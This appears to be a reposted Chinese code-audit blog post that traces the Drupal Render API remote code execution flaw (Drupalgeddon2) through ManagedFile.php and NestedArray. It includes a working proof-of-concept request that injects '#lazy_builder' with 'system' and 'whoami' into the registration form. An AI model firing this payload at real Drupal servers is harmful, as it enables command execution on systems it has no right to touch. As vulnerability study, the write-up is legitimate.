900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > 代码审计之CVE--7600-Drupal远程代码执行漏洞-Render API

代码审计之CVE--7600-Drupal远程代码执行漏洞-Render API

时间:2023-06-28 00:44:46

相关推荐

代码审计之CVE--7600-Drupal远程代码执行漏洞-Render API

今天学习一下Drupal的另一个漏洞,由于渲染数组不当造成的漏洞

poc:

url:

http://localhost/drupal-8.5.0/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajaxpost:'mail[a][#lazy_builder][0]': 'system','mail[a][#lazy_builder][1][]': 'whoami','form_id': 'user_register_form'

使用poc进行测试,并在断点处观察其调用流程:

函数的漏洞入口点在:

\core\modules\file\src\Element\ManagedFile.php处

经过explode函数处理,将get请求中的element_parents参数的值变成一个数组:即比如a/b/c变成了["a","b","c"]

然后将处理完的$form_parents变量传给NestedArray类的getValue函数处理,其中$form包含了表单的所有信息,我们跟进一下:

其中getValue函数就是将$form中的值逐层取出,

如果$parents为a/b/c,则结果值为123

此时$callable变量为system,$args变量为["whoami"],然后再调用call_user_func_array()函数处理

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。